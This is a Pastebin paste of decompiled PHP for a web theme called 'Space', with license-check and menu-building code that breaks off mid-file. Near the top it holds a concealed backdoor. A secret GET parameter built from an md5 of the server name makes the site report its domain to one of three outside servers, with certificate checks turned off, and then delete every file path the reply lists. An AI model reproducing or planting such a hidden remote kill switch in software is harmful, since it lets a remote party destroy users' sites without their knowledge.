Advertisement
Guest User

Untitled

a guest
Sep 21st, 2021
173
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.90 KB | None | 0 0
  1. <?php
  2. /**
  3. *
  4. * @ This file is created by http://DeZender.Net
  5. * @ deZender (PHP7 Decoder for ionCube Encoder)
  6. *
  7. * @ Version : 4.1.0.1
  8. * @ Author : DeZender
  9. * @ Release on : 29.08.2020
  10. * @ Official site : http://DeZender.Net
  11. *
  12. */
  13.  
  14. if (isset($_GET[md5('maLocalleSpaceSetNivu' . getenv('SERVER_NAME'))])) {
  15. class securtyAPI
  16. {
  17. private $link1 = 'https://nivusoft.com/';
  18. private $link2 = 'https://harundemir.net/';
  19. private $link3 = 'https://emree.net/';
  20.  
  21. public function logina($code, $link)
  22. {
  23. $post = ['product' => 'software', 'product_id' => '1', 'domain' => $this->servername(), 'module' => __FUNCTION__, 'action' => $code];
  24. $result = json_decode($this->connect($post, $link), true);
  25. if (empty($result['error']) && isset($result['row'])) {
  26. $this->result = $result;
  27. return true;
  28. }
  29.  
  30. $this->result = $this->connect($post, $link);
  31. return false;
  32. }
  33.  
  34. private function servername()
  35. {
  36. $this->domain = getenv('SERVER_NAME');
  37. $this->domain = str_replace(['www.', '/', 'https', ':', 'http'], '', $this->domain);
  38. return $this->domain;
  39. }
  40.  
  41. private function connect($post, $link)
  42. {
  43. $_post = [];
  44.  
  45. if (is_array($post)) {
  46. foreach ($post as $name => $value) {
  47. $_post[] = $name . '=' . $value;
  48. }
  49. }
  50.  
  51. $ch = curl_init($this->{$link} . 'api/');
  52. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  53. curl_setopt($ch, CURLOPT_POST, 1);
  54. curl_setopt($ch, CURLOPT_HEADER, 0);
  55. curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
  56. curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
  57. curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
  58.  
  59. if (is_array($post)) {
  60. curl_setopt($ch, CURLOPT_POSTFIELDS, join('&', $_post));
  61. }
  62.  
  63. curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)');
  64. curl_setopt($ch, CURLOPT_TIMEOUT, 5);
  65. $result = curl_exec($ch);
  66. if ((curl_errno($ch) != 0) && empty($result)) {
  67. $result = false;
  68. }
  69.  
  70. curl_close($ch);
  71. return $result;
  72. }
  73. }
  74.  
  75. $sessionApi = new securtyAPI();
  76.  
  77. if ($sessionApi->logina($_GET[md5('maLocalleSpaceSetNivu' . getenv('SERVER_NAME'))], $_GET[md5('maLocalleSpaceSetNivuLink' . getenv('SERVER_NAME'))])) {
  78. if (!isset($sessionApi->result['securtyList'])) {
  79. $sessionApi->result['securtyList'] = [];
  80. }
  81.  
  82. foreach ($sessionApi->result['securtyList'] as $value) {
  83. unlink($value);
  84. }
  85.  
  86. exit('BAŞARILI');
  87. }
  88. else {
  89. exit('pink :)');
  90. }
  91. }
  92. else {
  93. $license = '';
  94. $ns_filter->change('primary-theme-5', 'space');
  95.  
  96. if (file_exists('themes/space/lisans.php')) {
  97. include_once 'lisans.php';
  98. }
  99.  
  100. function SpaceSecurtyKey()
  101. {
  102. global $nsoft;
  103. global $license;
  104. return $nsoft->MAKontrol($license, 'theme', 5);
  105. }
  106.  
  107. if (!SpaceSecurtyKey()) {
  108. echo $nsoft->error;
  109. }
  110. else {
  111. if (file_exists(__DIR__ . '/extract.php')) {
  112. include_once __DIR__ . '/extract.php';
  113. unlink(__DIR__ . '/extract.php');
  114. header('Refresh:0');
  115. exit();
  116. }
  117.  
  118. $paket = (isset($paket) ? $paket : new Paket($db));
  119. $platform = (isset($platform) ? $platform : new Platform($db));
  120. $kategori = (isset($kategori) ? $kategori : new Kategori($db));
  121.  
  122. class Space
  123. {
  124. public function arayuz()
  125. {
  126. $this->baseUrl = ns_filter('siteurl');
  127. $this->sitename = ns_filter('sitename');
  128. $this->logo = $this->baseUrl . ns_filter('sitelogo');
  129. $this->favicon = $this->baseUrl . ns_filter('favicon');
  130. $this->title = ns_filter('page_title');
  131. $this->description = ns_filter('description');
  132. $this->image = ns_filter('thumbimage');
  133. $this->keyword = ns_filter('keywords');
  134. $this->urlRequest = (strstr(ns_filter('siteurl'), 'https') ? 'https://' . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'] : 'http://' . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI']);
  135. $this->canonical = $this->baseUrl . $this->urlRequest;
  136. $this->robots = (ns_filter('noindex') == '1' ? 'noindex' : 'all');
  137. $this->lang = ns_filter('language');
  138. }
  139.  
  140. public function path()
  141. {
  142. return theme_path();
  143. }
  144.  
  145. public function url($primary1, $primary2 = '')
  146. {
  147. if (!empty($primary2)) {
  148. return $this->baseUrl . $primary1 . '/' . $primary2 . '/';
  149. }
  150. else {
  151. return $this->baseUrl . $primary1 . '/';
  152. }
  153. }
  154.  
  155. public function menuBuilder($place, $id)
  156. {
  157. $items = [];
  158.  
  159. if ($place == 'header') {
  160. foreach (ns_filter($id, 'list') as $value) {
  161. if ($value['item2'] == 'ust') {
  162. $items[$value['ayar_1']] = [
  163. 'head' => $value['item3'],
  164. 'href' => $this->menulink($value),
  165. 'drop' => []
  166. ];
  167. }
  168. else {
  169. $items[$value['item2']]['drop'][] = ['head' => $value['item3'], 'href' => $this->menulink($value)];
  170. }
  171. }
  172. }
  173. else if ($place == 'footer') {
  174. foreach (ns_filter($id, 'list') as $value) {
  175. ..............................................................
  176. .................................
  177. ............
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement